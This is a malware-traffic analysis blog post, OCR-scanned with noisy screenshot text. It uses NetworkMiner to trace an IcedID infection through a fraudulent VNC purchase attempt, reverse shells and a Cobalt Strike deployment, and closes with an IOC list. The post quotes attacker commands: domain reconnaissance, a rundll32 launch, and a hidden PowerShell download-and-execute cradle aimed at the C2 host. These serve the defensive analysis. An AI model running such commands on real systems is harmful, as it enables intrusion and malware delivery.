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The BackConnect and VNC parsers that were added to NetworkMiner 2.8.1 provide a unique
possibility to trace the steps of an attacker with help of captured network traffic from a
hacked computer.

In this blog post | use the free and open source version of NetworkMiner to see how
GzipLoader downloads IcedID, after which the attacker deploys BackConnect VNC to
purchase an iPhone 14 with a stolen credit card and then drops Cobalt Strike on the victim
PC.

The analyzed pcap is 2022-10-31-IcedID-with-DarkVNC-and-Cobalt-Strike-full-pcap-
raw.pcap from Brad Duncan's malware-traffic-analysis.net blog.

Safety First

| ran NetworkMiner in a Windows Sandbox when analyzing this PCAP file to avoid
accidentally infecting my computer with any of the malicious artifacts that NetworkMiner
extracts from the network traffic.

Another safe way to analyze Windows malware is to run NetworkMiner in Linux or macOS.
14:47 GzipLoader

This infection starts with GzipLoader (aka “IcedID Downloader”) reaching out to its C2 server
on vgiragdoffy[.Jcom (67.205.184.237:80) to download IcedID.
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2N NetworkMiner 2.8.1

File  Tools Help

— Select a network adapter in the list — w

Hosts (152) Files (530} Images (339) Messages Credentials (5)
Sessions (535) DNS (403) Parameters (S934) Keywords Anomalies

Fil] Gaseser| v|35& ~ Any column ~ | Clear | Apply

Parameter name Parameter value Frame r
__gads 533886235:1:257918:138 L
_gat 10.0.19045 64 &
_ga 5 591593.3800.8 &
_u 4445534B544F5020415240414E45:676... §
_io 21_135492326_8995995737_2360036475 &
_gid 0032B9ABCZAC &
GET ! &
Cookie __gads=533886235:1.257918:138; _gat... &
Host wvgiragdoffy.com G

O ot
Start Stop
Casze Panel
Filename: MDS

2022-10-31... 2d54:

Buffered Frames to Parse;

Reload Case Files

Image: Cookie parameters from GzipLoader request

The “_gat” cookie value in frame number 6 tells us that the victim machine is running a
Windows 10 build 19045 (aka 22H2). The long “_u” value contains the victim’s username
and hostname in hexadecimal representation and the “__io” value is the logged in user’s
SID. NetworkMiner decodes these values from the GzipLoader request and displays them in

the Hosts tab.
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https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers

N NetworkMiner 2.8.1 — O ¥
File  Tools Help

— Select a network adapter in the list — i Start Stop

Sessions (535) DNS (403} Parameters (5934) Keywords Anomalies Case Panel

Hosts (152) Files (530} Images (339) Messages Credentials (5) Filename MD5
Filter: desktop-armani String ~ Clear Apply 2022-10-31-lce...  2d94
Sort Hosts On:  IPAddress (ascend - Sort and Refresh

EI@II 172.16.0.153 [DESKTOP-ARMANI) [desktop-armani] (Windows)

----- IP: 172.16.0.153

----- B WAC: 000835725490

----- Ml NIC WVendor: Packetair Networks, Inc.

----- R WMAC Age: 2001-08-04

----- Hostname: DESKTOP-ARMANI, desktop-armani

-4 0S: Windows

----- TTL: 128 (distance: 0)

----- Open TCP Ports:

----- m» Sent: 90944 packets (35,592 555 Bhges), 0.00% cleartext (0 of
----- <3 Received: 61171 packets (20,972 214Bytes), 0.00% cleartext |
----- Incoming sessions: 0

- 47 Outgoing sessions: 368

=2 Host Detailz

Extracted from GzipLoader Cookie

----- JA3 Hagh & : 04dd53033eed1ead463844c813c3baf2
----- SID 1 : 21-135402326-905005737-2360036475 '
----- Uszer 1 : giorgic.armani {,
- WNC Desktop Name 1 VNG

----- VMNC desktop size 1 : {Width=1520, Height=1152}
e Windows version 1 : 10.0.19045.64 10.0

Reload Case Files

Buffered Frames to Parse: I
/mage: Hostname, SID, username and Windows version extracted from GzipLoader CoOkie
For more info about the GzipLoader cookie, see IcedID Photoloader evolution by Jason
Reaves and the eSentire blog_post on Gootloader and IcedID.

The response for this GzipLoader request is a 550 kB file (MD5

700c602086590b05dde8df57933c7e68) with a fake gzip header. This file actually contains
the IcedID DLL (Odwikp.dll) and license.dat files.
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https://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html
https://infosec.exchange/@sysopfb
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&N index.gzip - File Details

Mame

MDE

SHAM

SHA2ES

Path

Size
LastWriteTime
Source
Destination

index.gzip

T00cE020855590b05ddedd f5T933cTebd
d95fco47e3483b69111d1 fibdd52c57 4 fdSbads52
0b55cb4b59b516891 5508559 c5a8c206aacid0deilZac1daebObi2T]
CAUsers\WDAGULIty Account\Desktiop\MetworkMiner_2-8-1\Assemb
62907

TH3IN2022 347 PM

67.205.184. 237 [vgiragdoffy.com]

172.16.0.153 [DESKTOP-ARMANI (/Windows)

Max bytes to read: 1024

Fontsize: |10 - File type: GZ

1FaEesecapaaaa0aR0053630610E2EV4 B . Scan.t

787488C259738984E463487449113275 b, PSP PHEL. 2u
F4B296CFIELSFAEBATTSE8305A0EBFT70E PRPIILIIIULL P Pw.
SEBABLSCDL219CA4533BEABYCASSEE3ES ALPCRlRR3IR| VR
RRAIGAGGRTIIEIFNALT FRFARFAIANEND IITIPEIIF AHE- 23

Image: Fake gzip file containing IcedID

14:47 IcedID

The banking trojan IcedID (aka BokBot) gets launched at 14:47:29 UTC (frame 641) after
which it connects to these four IcedID servers used for payload delivery and C2:

e ringashopsu[.Jcom = 137.184.208.116
¢ sainforgromset[.Jcom = 138.68.255.102
 yeloypod[.]hair = 94.140.114.103

¢ airsaintol[.]beauty = 66.63.168.75
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N NetworkMiner 2.8.1 — O b4

File  Tools  Help

— Select a network adapter in the list — o Start Stop

Parameters (2934} Kevwords Anomalies
Hosts (152} Files (530} Images (339) Messages Credentials (5) Sessions (535) DNS (403)

Filter: ecf4a5c51106f0415184d0dd0&f05bc String w Clear Apply

Sort Hosts On: | IPAddress (ascending) ~ Sort and Refresh

I_:_|---_}'3]_! 55.63.168.75 [airsaintol. beauty]
----- IP: 85.63.168.75
G-l MAC: 00211BEBSCOS
----- B NIC Vendor: Cisco Systems, Inc
----- R WMAC Age: 2008-04-14
----- Hostname: airzaintol beauty
----- 05: Unknown
----- TTL: 56 (distance: 8)
[ Open TCP Ports: 443 (S5L)
----- m» Sent: 160 packets (45,011 Bytes), 0.00% cleartext (0 of 0 Bytes)
----- <3 Received: 185 packets (22 728 Bytes), 0.00% cleartext (0 of 0 Bytes)
[~ EE' Incoming sessions: 22
----- Outgoing sessions: 0
=] Host Details
..... JA3S Hash 1 : ec74a5c51106f04191284d0dd02fb05be
----- X.500 Certificate Hash 1 : e13de126a13822c361fd300518833chbfOc257b01
e X509 Certificate Subject CH 1 : localhost
EEI---.E! 594 140.114.103 [yeloypod.hair]
EEI---.}Q! 137.184.208.118 [ringashop=u.com]
EEI---.E! 138.68.255.102 [sainforgromset. com]

Buffered Frames to Parse;

Image: JA3S hash of C2 server

These four IcedID servers all run TLS servers with self signed certificates issued for

"localhost" and doing TLS handshakes with JA3S hash

ec74a5c51106f0419184d0dd08fb05bc. Both these properties can be used as filters in

NetworkMiner's Hosts tab to only display the IcedID C2 servers.
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@a Certificate

General Details  Certification Path

Show: | <All= w
Field Value
DSErial number 26050c5e
DSignah..lre algorithm sha256RSA
DSignat.Jre hash algorithm sha256
Issuer Internet Widgits Pty Ltd, Som...
D'u'alid from Wednesday, October 26, 202...
(=] valid to Thursday, October 25, 2023 1...
IQ_EI'I Subject Internet Widgits Pty Ltd, Som...
(= o1 ikl e DCA (IN4R Rite)
0 = Internet Widgits Pty Ltd
S = Some-State
C = Al
CM = localhost

Edit Properties... Copy to File...

Image: Self-signed certificate from ringashopsul.Jcom

14:59 BackConnect and Keyhole VNC

Shortly after the IcedID C2 traffic has been started the IcedID bot also initiates BackConnect
C2 connections to 137.74.104.108 on TCP port 8080 (frame 4505 at 14:59:14 UTC).
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https://netresec.com/?b=22A38f9

N NetworkMiner 2.8.1 — O b4
File  Tools  Help
— Select a network adapter in the list — £ Start Stop

Hosts (152) Files (530} Images (339) Messages Credentials (5) Sessions (535) DMS (403)
Parameters (5934} Keywords Anomalies

Filter keyword:| BackConne: vI;EEESEFISiTiVE ExactPhraze -+ Any column ~ | Clear || Apply

Parameter name Parameter value Frame ... Source host Destination host

C2 command PING (0=00) 4505 172.16.0.153 [DES... 137.74.104.108 |

PING Params 3919032043 4505 172.16.0.153 [DES... 137.74.104.108

PING ID 7E 5B 5D 9F 4505 172.18.0.153 [DES... 137.74.104.108

C2 command SLEEP (0x01} 4507 137.74.104.108 172.16.0.153 [DESKTO

SLEEP Time 80 seconds 4507 137.74.104.108 172.16.0.153 [DESKTO

C2 command SLEEP (0201} 45 137.74.104.108 172.16.0.153 [DESKTO

SLEEP Time 60 seconds 45 137.74.104.108 172.16.0.153 [DESKTO

SLEEP ID FI EB F5 24 4521 137.74.104.108 172.16.0.153 [DESKTO
2 command WHC_2 (0x11) 4530 137.74.104.108 172.16.0.153 [DESKTC

WNC_2 Params 45 4530 137.74.104.108 172.16.0.153 [DESKTO

WNC_2ID 2CBACC 2B 4530 137.74.104.108 172.16.0.153 [DESKTO

C2 command WHC_2 (0x11) 4535 172.16.0.153 [DES... 137.74.104.108

WNC_2 Params 45 4535 172.16.0.153 [DES... 137.74.104.108

WNC_2ID 2CBACC2E 4535 172.16.0.153 [DES... 137.74.104.108

Pixel Format 32 bits per pixel 4538 172.18.0.153 [DES... 137.74.104.108

Width 1820 4538 172.16.0.153 [DES... 137.74.104.108

Height 1152 4538 172.16.0.153 [DES... 137.74.104.108

WNC Degktop Mame “NC 4533 172.16.0.153 [DES... 137.74.104.108

Buffered Frames to Parse;

Image: IcedID BackConnect communication
The BackConnect C2 server tells the bot to sleep for 60 seconds two times before launching
a reverse VNC session with command 0x11 (frame 4530 at 15:01.09 UTC).
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2N NetworkMiner 2.8.1 — O
File  Tools Help

— Select a network adapter in the list — i Start

DNS (403) Parameters (5934) Keywords Anomalies
Hosts (152) Files (530} Images (339) Messages Credentialz (5) Sessions (535)

Min Pixels: 0 Filenarne Filter:

Stop

41

VNC_CC199DDA_... WNC_CC1990DA_... WNC_CC1990DA_.. VNC_CC199DDA_..
1920x1152, 35 197 B 1820x1152, 51 233 B 1820x1152, 65 291 B 1920x1152, 84 995 B

o4 oo

VNC_CC198DDA_.. WNC_CC1990DA_... WNC_CC199DDA_... VNC_CC199DDA_...
1920x1152, 86 T18 B 1920x1152, 102 5... 19201152, 150 0... 1920x1152, 177 6...

had 0

Buffered Frames to Parse;

Image: BackConnect VNC screenshots
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SELECT COLOR PALETTE

‘ RGB

-
4 Grayscale

Press CTRL+F1 to switch into realtime

KEYHOLE

Image: Screenshot of attacker’s view of victim screen (Keyhole VNC)

15:06 Apple Store

VNC
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https://www.netresec.com/images/VNC_CC199DDA_221031150112.jpg

N NetworkMiner 2.8.1

File  Tools

— Select a network adapter in the list —

Hosts (152) Files (530)

Help

Parameters (5934} Keywords Anomalies

Images (339} Messages Credentials (5) Sessions (535) DNS (403)

Start Stop

Filter keyword:|BackConne - FESE sensitive ExactPhraze - Any column ~ | Clear | Apply

Parameter name Parameter value Frame ... Timestamp Detailz

Key pressed i 47213 2022-10-31 15:06:07 UTC  BackCeonnect Wi
Key pressed p 47334 2022-10-31 15:06:07 UTC BackConnect Wi
Key pressed h 47350 2022-10-31 15:06:07 UTC  BackCeonnect WHI
Key pressed 0 47358 2022-10-31 15:06:07 UTC  BackCeonnect Wi
Key pressed n 47350 2022-10-31 15:06:07 UTC  BackCeonnect Wi
Key pressed ] 47408 2022-10-31 15:06:08 UTC BackConnect VI
Key pressed 47425 2022-10-31 15:06:08 UTC  BackCeonnect WHI
Key pressed 1 47452 2022-10-31 15:06:08 UTC  BackConnect Wi
Key pressed 4 47431 2022-10-31 15:06:08 UTC  BackConnect WHi
Key pressed 47534 2022-10-31 15:06:08 UTC BackConnect VI
Key pressed a 47534 2022-10-31 15:06:08 UTC  BackCeonnect WHI
Key pressed p 47359 2022-10-31 15:06:0% UTC  BackCeonnect Wi
Key pressed p 47536 2022-10-31 15:06:09 UTC  BackCeonnect WHi
Key pressed | 47805 2022-10-31 15:06:09 UTC BackConnect Wi
Key pressed e 47827 2022-10-31 15:06:08 UTC  BackCeonnect WHI
Key pressed 47651 2022-10-31 15:06:0% UTC  BackCeonnect Wi
Key pressed E) 47851 2022-10-31 15:06:09 UTC  BackCeonnect WHi
Key pressed t 47700 2022-10-31 15:06:09 UTC BackConnect Wi
Key pressed o 47700 2022-10-31 15:06:08 UTC  BackCeonnect WHI
Key pressed r 47725 2022-10-31 15:06:10 UTC  BackCeonnect Wi
Key pressed e 47750 2022-10-31 15:06:10 UTC  BackCeonnect WHi

Buffered Frames to Parse:

Image: Attacker’s keystrokes extracted from BackConnect VNC traffic

The keylog of the attacker above reveals that the attacker is typing “iphone 14 apple store
buy”. The VNC graphics that NetworkMiner extracted from the PCAP file additionally reveal

that this was a Google search query typed into an Edge browser.
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] iphone i appie tore buy - Google Search - Work - Wcrooft Edge
L] e —
MO - . )

ol > 3
G&gb iphars 14 appka shara buy W L

ads - Shop iphona 14 apple store buy

1118

S0U0D Pow S0U00 now S0U00 Pow £1,099.00 S0U0D Row
Apiple 527 23ma ¥

£33 I0ma ¥ £33 30hme ¥ 530 56 ¥
Apnile Apple ATAT  apwwwww b

WpS AW PP OO 4 3
Buy iPhone 14 and iPhone 14 Plus - Appla

Buy IPhone 14
i Ay i 14 125GE Midnaght - Buy iPRone 14 - Buy IPhione 14

Image: Google search results from reverse VNC session
15:10 Credit Card payment

The attacker proceeds to the Apple Store, puts a black iPhone 14 Plus for $987.99 into the
shopping cart, enters a delivery address in West Hartford (US) and then inputs credit card

details for the payment.
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https://www.netresec.com/images/VNC_CC199DDA_221031150658.jpg

iPad iPhone

Checkout

How do you want to pay?

In order to use your Apple Account Balance, Sign In with your Apple ID.

Credit or Debit Card

Apple Card, Visa, Mastercard, AMEX,
Discover, UnionPay

Enter your card information:

Credit/Debit Card Number

I T T T NUE VISA

Expiration MM/YY cwv | 6

12/23 | | f

Image: Credit card details entered in Apple Store by attacker
Luckily, the transaction was denied by Apple Store.

Checkout

vour payment authorization faled on card ---3713. Please verily your information and try again, of ty another payment

Image: Payment authorization failed
15:12 Reverse Shell

After having failed to buy an iPhone through the hacked computer the attacker instead
deploys three reverse shell sessions using the BackConnect C2 channel.
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https://www.netresec.com/images/VNC_CC199DDA_221031151015_censored_1920x1152.jpg
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&N NetworkMiner 2.8.1 — O X
File  Tools  Help
— Select a network adapter in the list — £ Stop
Hosts (152) Files (530} Images (339) Messages Credentials (5) Sessions (535) DMS (403)
Parameters (5934) Keywords Anomalies
Filter keyword:| REVERSE 2 -.- FESE sensitive ExactPhrase - Parameter value -~ | Clear | Apply
Parameter name Parameter value Frame ... Timestamp Details
CZ2 command REVERSE_SHELL_Z (0x13) 143574  2022-10-31 151230 UTC BackConnect
CZ2 command REVERSE_SHELL_2 143579 2022-10-31 15:12:30 UTC  BackConnect
C2 command REVERSE_SHELL_2 (0x13) 144289  2022-10-31 15:38:22 UTC BackConnect
C2 command REVERSE_SHELL_2 144304  2022-10-31 15:38:22 UTC  BackConnect
CZ2 command REVERSE_SHELL_Z (0x13) 147887  2022-10-31 154931 UTC BackConnect
CZ2 command REVERSE_SHELL_2 1476872 2022-10-31 15:49:32 UTC BackConnect

Buffered Frames to Parse;

These three commands are issued in the first reverse shell session:

net group "domain admins" /dom

arp -a

dir \\172.16.0.12\c$

In the second shell session the attacker first runs these three commands:

shell net group "domain admins" /dom
net group "domain admins" /dom
nltest /domain_trusts /all_trusts

...and then starts a file manager session through the BackConnect C2 channel.

15:40 Deploy Cobalt Strike

The BackConnect file manager is used to upload a Cobalt Strike binary called P2.dll to

"C:\ProgramData\" on the victim computer in frame 144535.
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https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

N NetworkMiner 2.8.1

File  Tools  Help

— Select a network adapter in the list —

Hosts (152) Files (530)

Filter keyward: vI;EEESEFISiTiVE ExactPhrage - Any column ~ | Clear | Apply

£ Start Stop

Images (339} Messages Credentials (5) Sessions (535) DNS (403)
Parameters (5934} Keywords Anomalies

Parameter name

CZ command
FILE_MANAGER_2P..
FILE_MANAGER_2 ID
File Manager Command

File Manager Command
C:A\ProgramCata’

Adobe

Application Data
Desktop

Documents

Intel

Microsoft

Microsoft Onelrive
ntuser.pol

WD,

MWD& Corporation
P24l

Package Cache
Packages
regid.1%91-06.com.m...
SoftwareDistribution
ssh

Start Menu
Templates
USOPrivate
Us0Shared

Shell command

Parameter value

FILE_MANAGER_2
24

D4 A4 6F 31

PUT

CAProgramData\Fz.dll

DIR

1
2018-12-07
20Z2-10-27
2022-10-28
2022-10-28
2022-10-28
20Z2-10-27
2018-12-07
2022-10-27
2022-10-27 3 kB
20Z2-10-27
20Z2-10-27
2022-10-31 121 kB
2022-10-27
20Z2-10-27
2018-12-07
20M8-12-07
2022-09-08
20Z2-10-28
2022-10-28
20M8-12-07
2M8-12-07

rundli32 c\programdata\P2.dil,D...

Frame ...

144530
144530
144530
144535
144535
1447
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144705
144707

Timestamp

2022-10-31 15:40:03 UTC
2022-10-31 15:40:03 UTC
2022-10-31 15:40:03 UTC
2022-10-31 15:40:04 UTC
2022-10-31 15:40:04 UTC
2022-10-31 15:40:06 UTC
2022-10-31 15:40:06 UTC
2022-10-31 1540006 UTC
2022-10-31 15:40:06 UTC
2022-10-31 15:40:06 UTC
2022-10-31 15:40:06 UTC
2022-10-31 1540006 UTC
2022-10-31 15:40:06 UTC
2022-10-31 15:40:06 UTC
2022-10-31 15:40:06 UTC
2022-10-31 1540006 UTC
2022-10-31 15:40:06 UTC
2022-10-31 15:40:06 UTC
2022-10-31 15:40:06 UTC
2022-10-31 1540006 UTC
2022-10-31 15:40:06 UTC
2022-10-31 15:40:06 UTC
2022-10-31 15:40:06 UTC
2022-10-31 1540006 UTC
2022-10-31 15:40:06 UTC
2022-10-31 15:40:06 UTC
2022-10-31 15:40:06 UTC
2022-10-31 15:40:06 UTC
2022-10-31 154018 UTC

Buffered Frames to Parse:

Image: CobaltStrike delivered to victim through BackConnect's File Manager
The uploaded P2.dll is then executed by running this command in the reverse shell session

(frame 144707):

rundll32 c:\programdata\P2.dll,DIIRegisterServer

NetworkMiner extracts this uploaded DLL from the BackConnect network traffic.
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N NetworkMiner 2.8.1

File  Tools Help

— Select a network adapter in the list — i

Parameters (2934} Kevwords Anomalies
Hosts (152) Files (330} Images (339) Messages Credentials (5) Sessions (535) DNS (403)

Filter keyward: vI;EEESEHSiTi‘-'E ExactPhrase -  Any column

Start Stop

~ | Clear || Apply

Frame nr.  Filename

144358 samrl4]
1443528 =samr[5]
144533 P2.dll

144327 localhost[10].cer

144732 index.pkix-cert
145817 localhost[11].cer

Extension Size Source host

cer 903 B 65.63.168.75 [airzaintolb...
160 B 172.16.0.153 [DESKTOP-...
160 B 172.16.0.153 [DESKTOP-...

124 416 B8 137.74.104.108

S. port
TCP 443
TCP 57735
TCP 57735
TCP &020

pkix-cert 13068 184.51.165.178 [e8852.ds... TCP a0
cer 903 B 656.63.168.75 [airsaintolb... TCP 443

 Buffered Frames to Parse:

Image: Files extracted from network traffic

&N P2.dll - File Details

EE -

MDE ccG9ad1als7be2ddasf2076f8eedd5e

SHAM 7efbSb1 f96810c195ad7 976 f85ca051c16faacta

SHAZ2ES c528e31aadBedte097d48cT4b5E014a02848ddE0T cob1 Tedcl0616
Path CAlzers\WDAGULty A ccount\Desktiop\MetworkMiner_2-8-1\Assemb
Size 124415

LastWriteTime TN3I2022 4:40 PM

Source 137.74.104.108

Destination 172.16.0.153 [DESKTOP-ARKMANI [desktop-armani] (Windows)

Max bytes to read: 1024

Font size: File type: DLL

4054988883 000000684000008F FF FRORE MZ? . eeennn. ..

P Bevennns
BELFBEABEABE4BOCD2IEEA1ACCD215468 T I A N R,
6O732078726F6772616D2863616E6EGF is program canno
74286265207 2756E28696E28444F5328 t be run in DOS
6D6F 64652 EBDBDEA 2 4GEREEEBEEBEEE6 mode....5. . .0u..

Image: Details for Cobalt Strike P2.dll
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46

[ 71

As you can see in the screenshot above, the MD5 hash of

P2.dll is cc69a31a067b62dda5f2076f8ee335e1. This file is flagged as malicious by most AV
vendors (P2.dll on VT). However, none of them label it as Cobalt Strike. Luckily | was able to
use Triage's malware config extractor to verify that this was indeed Cobalt Strike (P2.dIl on
tria.ge). Triage also revealed that the CobaltStrike C2 URL was
clouditsoft[.]com:8008/static-directory/mg.jpg

After the DLL gets executed the victim PC establishes Cobalt Strike beacon C2 connections
to clouditsoft[.Jcom on port 8008 (frame 144715).

N NetworkMiner 2.8.1 — O p 4
File Tools Help
— Select a network adapter in the list — o Start Stop

Parameters (3934} Kevwords Anomalies
Hosts (152) Files (530) Images (339) Messages Credentials (5) Se€sS8i0ns (333) DNS (403)

Filter keyword: cloudit vI;ase sensitive ExactPhrase -~ Any column ~ | Clear || Apply

Frame ... Client host C. port Server host 5. port  Start time

144715 172160153, 57740 158.44140.67 [clouditsoft.com] 8008  2022-10-31 15:4C |
145082 172.16.0.153... 57742 198.44.140.67 [clouditsoft.com] 8008  2022-10-31 15:4(
145129  172.16.0153... 57743 158.44.140.67 [clouditsoft.com] 8008  20Z2-10-31 15:41
145155 17218.0153... 57744 1598.44.140.67 [clouditzoft.com] 8008  20Z2-10-31 15:41
145455  17216.0153... 57745 158.44.140.67 [clouditsoft.com] 8008  2022-10-31 15:4:
145450  172.16.0.153... 57747 198.44.140.67 [clouditsoft.com] 8008  2022-10-31 15:4:z
145509  172.16.0153... 57748 1598.44.140.67 [clouditsoft.com] 8008  20Z2-10-31 15:4:z
145574 17218.0153... 57749 1598.44.140.67 [clouditzoft.com] 8008  20Z2-10-31 15:4:
145584 172160153, 57750 158.44140.67 [clouditsoft.com] 8008  2022-10-31 15:4:
145657 172.16.0.153... 57731 198.44.140.67 [clouditsoft.com] 8008  2022-10-31 15:4:
145677 172.16.0153... 57732 158.44.140.67 [clouditsoft.com] 8008  20Z2-10-31 15:4:
1456899  172.16.0153... 577533 198.44.140.67 [clouditzoft.com] 8008  20Z2-10-31 15:4:
145720 172180153, 57754  158.44140.67 [clouditsoft.com] 8008  2022-10-31 15:4:

Buffered Frames to Parse;

Image: Cobalt Strike beacon sessions
15:41 MOAR COBALT STRIKE
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https://www.virustotal.com/gui/file/c528e31aad8e88e0997d48c74b58014a02848dd897c5b17e8c806163992acd30/summary
https://tria.ge/231011-p9zfsaha6s

The BackConnect Reverse Shell log in NetworkMiner's Parameters tab shows that the
attacker also attempted to download Cobalt Strike using PowerShell at 15:41:59 UTC (frame
145176) with this command:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX
((new-object net.webclient).downloadstring('https://clouditsoft[.]Jcom:8008/lass"))"

I0C List

e IP:port 67.205.184.237:80 (GzipLoader)

o DNS vgiragdoffy[.Jcom (GzipLoader)

 MD5 700c602086590b05dde8df57933c7e68 (Fake gzip file)

o MD5 f57ab2e5e5720572d5eb19010ec8dcb4 (IcedID Odwikp.dll from fake gzip)
o MD5 57a9d9acb389bd74a7423a16ef81ac18 (IcedID license.dat from fake gzip)
e DNS ringashopsu[.]Jcom (IcedID C2)

o DNS sainforgromset[.Jcom (IcedID C2)

e DNS yeloypod].]hair (IcedID C2)

o DNS airsaintol[.]beauty (IcedID C2)

e IP:port 137.184.208.116:443 (IcedID C2)

o |P:port 138.68.255.102:443(IcedID C2)

e IP:port 94.140.114.103:443 (IcedID C2)

e |P:port 66.63.168.7:443 (IcedID C2)

e JA3S hash ec74a5c51106f0419184d0dd08fb05bc (IcedID C2)

e |P:port 137.74.104.108:8080 (lcedID BackConnect C2)

e MD5 cc69a31a067b62dda5f2076f8ee335e1 (CobaltStrike P2.dll)

o DNS clouditsoft[.Jcom (CobaltStrike C2)

e |P:port 198.44.140.67:8008 (CobaltStrike C2)

Posted by Erik Hjelmvik on Thursday, 12 October 2023 13:23:00 (UTC/GMT)

Tags: #NetworkMiner #lcedID #GzipLoader #BackConnect #VNC #CobaltStrike #Cobalt
Strike #Windows Sandbox #ec74a5c¢51106f0419184d0dd08fb05bc #JA3S
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